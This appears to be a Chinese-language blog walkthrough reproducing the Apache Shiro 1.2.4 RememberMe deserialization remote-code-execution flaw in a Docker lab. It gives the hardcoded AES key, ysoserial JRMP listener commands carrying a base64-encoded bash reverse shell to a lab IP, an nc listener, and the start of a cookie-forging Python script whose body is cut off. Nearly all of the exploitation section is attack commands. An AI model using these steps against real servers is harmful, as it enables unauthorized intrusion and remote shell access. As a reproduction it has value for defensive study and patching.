0x00 前言
在官网中可以得到该漏洞的描述,主要原因是因为shiro默认使用了CookieRememberMeManager
, 其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,其密钥硬编码在代码中为kPH+bIxk5D2deZiIxcaaaA==
。导致攻击者可以构造任意数据从而造成反序列化漏洞。
漏洞影响版本为shiro <= 1.2.4
0x01 漏洞复现
环境准备
使用docker快速搭建漏洞环境
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
工具准备
获取java反序列化利用神器ysoserial
1 | git clone https://github.com/frohoff/ysoserial.git |
漏洞利用
使用ysoserial
中JRMP监听模块并配置监听端口,添加要执行的命令。这里执行反弹shell命令bash -i >& /dev/tcp/192.168.111.140/8888 0>&1
这里命令需要进行一下base64编码 http://www.jackson-t.ca/runtime-exec-payloads.html
然后执行
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JPListener 3888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNDAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}' |
然后监听本地8888
端口,等待反弹shell。
1 | nc -lvp 8888 |
使用如下脚本得到构造好的rememberMe
值
1 | import sys |
使用方法python shiro_rce.py ip:port
,其中ip和port为上面启动ysoserial
JRMP的ip地址和端口号
然后进行抓包,将cookie中的remeberMe
值替换即可。
然后便可收到反弹回的shell并可成功执行命令